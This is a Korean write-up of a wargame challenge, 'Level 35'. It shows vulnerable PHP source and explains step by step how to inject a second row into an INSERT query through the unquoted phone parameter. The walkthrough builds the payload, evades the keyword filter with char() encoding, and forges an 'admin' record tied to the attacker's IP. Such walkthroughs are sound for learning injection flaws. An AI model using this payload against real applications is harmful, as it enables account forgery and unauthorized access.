Level 35
<form method=get action=index.php> phone : <input name=phone size=11><input type=submit value='add'> </form> <? if($_GET[phone]) { if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack"); @mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error"); echo("Done<br>"); } $admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'")); if($admin_ck[ip]==$_SERVER[REMOTE_ADDR]) { @solve(); @mysql_query("delete from challenge35_list"); } $phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'"); echo("<!--"); while($d=@mysql_fetch_array($phone_list)) { echo("$d[id] - $d[phone]\n"); } echo("-->"); ?>
먼저 GET방식으로 phone 파라미터에 값을 받는다.
따라서 우리는 phone 파라미터를 이용해서 공격 쿼리를 짜야 될 것 같다.
phone파라미터가 있을 경우 필터링이 이루어 지고, insert쿼리를 이용하여 레코드를 추가한다.
그리고 select를 통해 id가 'admin'이고 'ip'가 접속한 ip와 같으면 문제가 풀리게 된다.
여기서 문제는 'admin'의 ip가 현재 자신의 아이피랑 다르다는 점이다.
따라서 우리는 'admin' 계정의 ip를 접속하는 아이피로 변경시켜야 한다.
이는 MySQL에서 Values로 값을 넣을때, 여러 입력값을 넣을 수 있다는점을 이용한다.
다음 그림을 살펴보자.
위 사진을 보면, 'admin'이 있지만, 또다시 레코드 값이 추가가 가능하다.
쿼리보낼때 고려해야 할 점은,
insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])
코드를 살펴보면, phone을 받아오는 파라미터가 싱글쿼터(')로 깜싸져 있지 않다.
따라서 정수값을 넘겨주어야 한다.
공격 쿼리 : 1),('admin','자신의 아이피',1)
위 공격 쿼리의 문자열들을 ascii 정수값으로 넘겨주자.
1),(char(97,100,109,105,110),char(자신의 아이피 ascii값),1)
최종 쿼리문 :
insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR],1),(char(97,100,109,105,110),char(자신의 아이피 ascii값),1)
>>> ip = "8.8.8.8" >>> result = "" >>> for x in ip: ... result += str(ord(x))+"," ... >>> print result 56,46,56,46,56,46,56,
위 코드를 이용해서 자신의 ip주소를 변환하자.